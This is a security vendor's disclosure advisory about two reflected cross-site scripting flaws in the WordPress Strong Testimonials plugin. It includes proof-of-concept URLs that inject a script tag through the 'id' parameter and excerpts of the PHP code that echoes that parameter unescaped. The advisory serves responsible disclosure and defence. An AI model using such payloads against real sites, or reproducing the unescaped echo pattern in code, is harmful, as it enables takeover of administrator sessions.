DefenseCode

DefenseCode ThunderScan SAST Advisory

WordPress Strong Testimonials Plugin
Multiple XSS Security Vulnerabilities

WordPress Strong Testimonials Plugin – Multiple XSS Security Vulnerabilities	
Advisory ID:	**DC-2018-05-007**
Software:	**WordPress Strong Testimonials plugin**
Software Language:	**PHP**
Version:	**2.31.4 and below**
Vendor Status:	**Vendor contacted, update released**
Release Date:	**2018/07/24**
Risk:	**Medium**

1. General Overview

During the security audit of Strong Testimonials plugin for WordPress CMS, multiple XSS vulnerabilities were discovered using DefenseCode ThunderScan application source code security analysis platform.

More information about ThunderScan is available at URL:
http://www.defensecode.com

2. Software Overview

According to the plugin developers, with Strong Testimonials plugin you will be collecting and publishing your testimonials or reviews. Beginners and pros alike will appreciate the wealth of flexible features refined over 4 years from user feedback and requests.

According to wordpress.org, it has more than 50,000 active installs.

Homepage:
https://wordpress.org/plugins/strong-testimonials/

3. Vulnerability Description

During the security analysis, ThunderScan discovered Cross-Site Scripting vulnerabilities in Strong Testimonials WordPress plugin.

The Cross-Site Scripting vulnerability can enable the attacker to construct the URL that contains malicious JavaScript code. If the administrator of the site makes a request to such an URL, the attacker's code will be executed, with unrestricted access to the WordPress site in question. The attacker can entice the administrator to visit the URL in various ways, including sending the URL by email, posting it as a part of the comment on the vulnerable site or another forum.

3.1 Cross-Site Scripting

Vulnerable Function:	**echo()**
Vulnerable Variable:	**$_REQUEST['id']**

Vulnerable URL:

```
http://vulnerablesite.com/wp-admin/edit.php?post type=wpm-testimonial&page=testimonial-
views&action=edit&id=2"></script><script>alert(42)</script>
```

File: strong-testimonials/admin/views.php

```
48  wpmtst_view_settings( $_REQUEST['action'], $_REQUEST['id'] );
...
106 function wpmtst_view_settings( $action = '', $view_id = null ) {
...
213 <input type="hidden" name="view[id]" value="<?php echo $view_id; ?>">
```

3.2 Cross-Site Scripting

Vulnerable Function:	**echo()**
Vulnerable Variable:	**$_REQUEST['id']**

Vulnerable URL:

```
http://vulnerablesite.com/wp-admin/edit.php?post type=wpm-testimonial&page=testimonial-
views&action=edit&id=2"></script><script>alert(42)</script>
```

File: strong-testimonials/admin/views.php

```
48  wpmtst_view_settings( $_REQUEST['action'], $_REQUEST['id'] );
...
106 function wpmtst_view_settings( $action = '', $view_id = null ) {
...
219 <?php include( 'partials/views/view-shortcode.php' ); ?>
```

File: strong-testimonials/admin/partials/views/view-shortcode.php

```
5   $shortcode .= '<input id="view-shortcode" type="text" value="[testimonial_view
id=&amp;quot;' . $view_id . '&amp;quot;]" readonly />';
...
21  <?php echo $shortcode; ?>
```

4. Solution

After the vulnerabilities were reported the vendor resolved the security issues. All users are strongly advised to update WordPress Strong Testimonials plugin to the latest available version.

5. Credits

Discovered by Neven Biruski using DefenseCode ThunderScan source code security analyzer.

6. Disclosure Timeline

2018/05/24	**Vulnerabilities discovered**
2018/05/29	**Vendor contacted**
2018/06/01	**Update released**
2018/07/24	**Advisory released to the public**

7. About DefenseCode

DefenseCode L.L.C. delivers products and services designed to analyze and test web, desktop and mobile applications for security vulnerabilities.

DefenseCode ThunderScan is a SAST (Static Application Security Testing, WhiteBox Testing) solution for performing extensive security audits of application source code. ThunderScan performs fast and accurate analyses of large and complex source code projects delivering precise results and low false positive rate.

DefenseCode WebScanner is a DAST (Dynamic Application Security Testing, BlackBox Testing) solution for comprehensive security audits of active web applications. WebScanner will test a website's security by carrying out a large number of attacks using the most advanced techniques, just as a real attacker would.

Subscribe for free software trial on our website http://www.defensecode.com

E-mail: defensecode[at]defensecode.com

Website: http://www.defensecode.com
Twitter: https://twitter.com/DefenseCode/